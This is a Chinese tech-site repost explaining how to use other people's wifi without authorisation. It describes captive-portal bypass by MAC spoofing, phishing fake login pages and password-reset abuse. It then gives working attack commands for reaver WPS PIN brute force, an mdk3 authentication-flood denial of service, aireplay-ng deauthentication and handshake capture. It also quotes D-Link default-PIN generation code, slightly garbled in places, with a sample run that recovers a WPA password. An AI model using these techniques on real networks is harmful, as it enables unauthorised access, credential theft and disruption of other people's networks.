黑客怎么绕过热点验证免费来使用wifi的

栏目: 编程工具 · 发布时间: 7年前

内容简介:黑客怎么绕过热点验证来免费使用wifi,是很多朋友们比较关心的,针对这些以下业内专家就来告诉大家,希望大家能够认真阅读。整理了一下工具的使用

黑客怎么绕过热点验证来免费使用wifi,是很多朋友们比较关心的,针对这些以下业内专家就来告诉大家,希望大家能够认真阅读。

黑客怎么绕过热点验证免费来使用wifi的

  • 方法一:使用MAC地址伪造法。很多时候开放网络的身份验证往往就是通过上网设备的MAC地址连同上网凭证以一起实现的,无线网络安全存在哪些问题?不过由于任何设备的MAC地址都容易进行修改,包括智能手机和笔记本电脑等,也就是这种验证方法根本不是一种强健或者最安全的验证方法;也正是如此,黑客要做的就是进行扫描整个网络以能寻找其他已经连接上该网络的客户端,而实现这种目的的最快方式就是要利用ARP扫描技术,这样就能给提供一种包含所有连接设备的IP地址和MAC地址的完整ARP表;为了能够有效提高查看的速度,黑客也会尝试进行检测这些设备是否能够产生通信流量,当产生有通信流量就要拦截这种流量并查看是否是上网的网络流量;当这些条件都能满足后,就能非常容易通过网络认证门户的身份验证免费的使用wifi了。
  • 方法二:使用伪造认证页面方法。黑客使用这种方法就类似钓鱼,当创建一个伪造身份认真页面后就能迫使正常用户登录该页面进行身份验证,然后也就能盗取他们的上网凭证了;毕竟一般开放的wifi网络的所有流量都是一种未经加密的明文数据,这样黑客就能非常方便的进行拦截并篡改网络流量以达到想要做任何事情的目的;可能一些时候认证页面时通过HTTPS进行连接的,但是它们机会所有时候也都会使用同一个定制证书;大家更需要知道的是,黑客为了能够建立一个假的认证门户,往往还会下载原来真正的认证页面,然后进行编辑该门户网站来存储用户输入的上网凭证信息最后就能将信息转发到原始真正的认证页面中来达到身份认证的目的。
  • 方法三:利用忘记密码的方法来进行。黑客使用这种方法十分简单,就是抓住带身份验证的wifi热点会在忘记密码时候能提供重置密码进行服务,这种服务往往也是能通过连接者的手机号码来进行实现,需要能够向填入的手机号码上发送相关新密码,甚至很多时候还需通过电子邮件来发送新密码;在这种情况下就会允许连接客户端的TMAP/POP邮件服务器,也就意味能避免使用网络来查看邮箱了。

wifi渗透流程整理

整理了一下 工具 的使用

1. 流程图

黑客怎么绕过热点验证免费来使用wifi的

2. 获取bssid和essid

黑客怎么绕过热点验证免费来使用wifi的

reference:https://www.aircrack-ng.org/documentation.html

3. 探测是否开启wps(Wi-Fi protected setup)

command:

airodump-ng MB,wash -i mon0 -C 

黑客怎么绕过热点验证免费来使用wifi的

54e.:默认开启wps,54e:默认不开启

当我们为wifi设置了一个复杂的密码时,每次接入一个新的设备都要重复输入这个密码,过程略微繁琐,wps的出现就是为了解决这个问题。

它提供了一个8位纯数字的秘钥,认证成功即可连接wifi。

但是这8位数是分开认证的,先验证前4位,再验证5-7位,所以最多只需要爆破11000-1次即可成功。

少数路由器wps开启与否是由按钮控制,在能物理接触路由器的情况下,可以手动开启。

reference:

http://www.howtogeek.com/176124/wi-fi-protected-setup-wps-is-insecure-heres-why-you-should-disable-it/

4. 探测pin

command:

reaver -i mon0 -b ap_bssid -vv 

(1) ap denial service

当路由器不再响应的时候,可以用DoS攻击让ap拒绝服务,受害者重启路由.

常用的就是authentication flood attack,攻击者可以伪造源MAC地址(基于802.11的报文发送机制)发送authenticate到目标AP,重复发送这种请求,最终会耗尽AP内存导致拒绝服务.

command:

mdk3 a mon0 -a bssid -c 

reference:

  • https://www.sans.org/reading-room/whitepapers/wireless/80211-denial-service-attacks-mitigation-2108
  • http://tools.kali.org/wireless-attacks/mdk3
  • http://xiao106347.blog.163.com/blog/static/215992078201425920197

(2) get password

黑客怎么绕过热点验证免费来使用wifi的

reference:

  • http://tools.kali.org/wireless-attacks/reaver
  • http://null-byte.wonderhowto.com/how-to/hack-wpa-wifi-passwords-by-cracking-wps-pin-0132542/
  • https://www.pwnieexpress.com/blog/wps-cracking-with-reaver
  • http://lifehacker.com/5873407/how-to-crack-a-wi-fi-networks-wpa-password-with-reaver

5. 利用算法漏洞直接获取pin

devttys0站长通过逆向D-link、belkin固件的wps pin生成算法,直接得到默认pin码.

以d-link为例,获取ap bssid,拆分后进行异或、与、移位等操作生成pin,伪c代码如下:

unsigned int generate_default_pin(char *buf) 
{ 
 char *mac; 
 char mac_address[32] = { 0 }; 
 unsigned int oui, nic, pin; 
 
/* Get a pointer to the WAN MAC address */ 
 mac = lockAndGetInfo_log()->wan_mac_address; 
 
/* 
 * Create a local, NULL-terminated copy of the WAN MAC (simplified from 
 * the original code's sprintf/memmove loop). 
 */ 
 sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0], 
 mac[1], 
 mac[2], 
 mac[3], 
 mac[4], 
 mac[5], 
 mac[6], 
 mac[7], 
 mac[8], 
 mac[9], 
 mac[10], 
 mac[11]); 
 
/* 
 * Convert the OUI and NIC portions of the MAC address to integer values. 
 * OUI is unused, just need the NIC. 
 */ 
 sscanf(mac_address, "%06X%06X", &oui, &nic); 
 
/* Do some XOR munging of the NIC. */ 
 pin = (nic ^ 0x55AA55); 
 pinpin = pin ^ (((pin & 0x0F) << 4) + 
 ((pin & 0x0F) << 8) + 
 ((pin & 0x0F) << 12) + 
 ((pin & 0x0F) << 16) + 
 ((pin & 0x0F) << 20)); 
 
/* 
 * The largest possible remainder for any value divided by 10,000,000 
 * is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0. 
 */ 
 pinpin = pin % 10000000; 
 
/* The pin needs to be at least 7 digits long */ 
 if(pin < 1000000) 
 { 
 /* 
 * The largest possible remainder for any value divided by 9 is 
 * 8; hence this adds at most 9,000,000 to the pin value, and at 
 * least 1,000,000. This guarantees that the pin will be 7 digits 
 * long, and also means that it won't start with a 0. 
 */ 
 pin += ((pin % 9) * 1000000) + 1000000; 
 } 
 
/* 
 * The final 8 digit pin is the 7 digit value just computed, plus a 
 * checksum digit. Note that in the disassembly, the wps_pin_checksum 
 * function is inlined (it's just the standard WPS checksum implementation). 
 */ 
 pin = ((pin * 10) + wps_pin_checksum(pin)); 
 
sprintf(buf, "%08d", pin); 
 return pin; 
} 
$ sudo airodump-ng mon0 -c 4 
 
CH 4 ][ Elapsed: 0 s ][ 2014-09-11 11:44 ][ fixed channel mon0: -1 
 
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 
 
C0:A0:BB:EF:B3:D6 -13 0 6 0 0 4 54e WPA2 CCMP PSK dlink-B3D6 
 
$ ./pingen C0:A0:BB:EF:B3:D7 # <--- WAN MAC is BSSID+1 
Default Pin: 99767389 
 
$ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389 
 
Reaver v1.4 WiFi Protected Setup Attack Tool 
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com> 
 
[+] Waiting for beacon from C0:A0:BB:EF:B3:D6 
[+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6) 
[+] WPS PIN: '99767389' 
[+] WPA PSK: 'hluig79268' 
[+] AP SSID: 'dlink-B3D6' 

6. 密码相关app被共享

zke1ev3n大牛逆向了万能钥匙APP,发现发送的AP相关的信息经过了AES加密,私钥和IV都硬编码在程序中. 设备指纹放在sign字段,经过md5(设备指纹信息+salt)加密,salt也硬编码在程序中,这部分信息当做签名来验证请求是否合法。

返回信息同样经过AES加密,用的相同的key和IV。

http://www.wifi4.cn实现了这个加密流程.

reference:

  • http://zke1ev3n.me/2016/04/06/WiFi%E4%B8%87%E8%83%BD%E9%92%A5%E5%8C%99%E6%8E%A5%E5%8F%A3%E5%8D%8F%E8%AE%AE%E7%A0%B4%E8%A7%A3/
  • https://github.com/Zke1ev3n/WiFiMaster/blob/master/WiFiMaster.py

7. mac白名单限制

mac address被烧录在网卡的EEPROM中,每次网卡初始化时会从EEPROM中读取mac地址并将其写入到一个缓冲区(win下是写到注册表)

发送报文时,相关api读取mac地址是从缓冲区中读取,而不是去EEPROM中.

command:

  • airodump-ng mon0 (获得已连接到AP的client bssid)
  • ifconfig wlan0 hw ether 00:01:02:03:04:05.

reference:

  • https://en.wikipedia.org/wiki/MAC_spoofing
  • https://collegetimes.co/change-mac-address/

http://xiao106347.blog.163.com/blog/static/21599207820131014101844104/

8. 抓取握手包

(1)

airodump-ng -w /tmp/test.cap-c channelNum --bssid apm 

(2) deauth client

Wi-Fi deauthentication attack 

IEEE 802.11协议中包含了deauthentication frame,用来中断server和client的认证.

攻击者只需知道client bssid,基于报文发送机制,伪造mac,可以在任何时间向AP发送deauthentication请求.

如果这个攻击是持续的,目标client会无法连接AP. 其实这个时候可以结合pineapple伪造AP准备嗅探了.

黑客怎么绕过热点验证免费来使用wifi的

command:

aireplay-ng-0 攻击次数 -a apmac -c clientmac -x 发包速率 mon1

reference:

  • https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack
  • https://www.sans.org/reading-room/whitepapers/wireless/80211-denial-service-attacks-mitigation-2108

(3) get handshake


以上所述就是小编给大家介绍的《黑客怎么绕过热点验证免费来使用wifi的》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Release It!

Release It!

Michael T. Nygard / Pragmatic Bookshelf / 2007-03-30 / USD 34.95

“Feature complete” is not the same as “production ready.” Whether it’s in Java, .NET, or Ruby on Rails, getting your application ready to ship is only half the battle. Did you design your system to......一起来看看 《Release It!》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

SHA 加密
SHA 加密

SHA 加密工具

html转js在线工具
html转js在线工具

html转js在线工具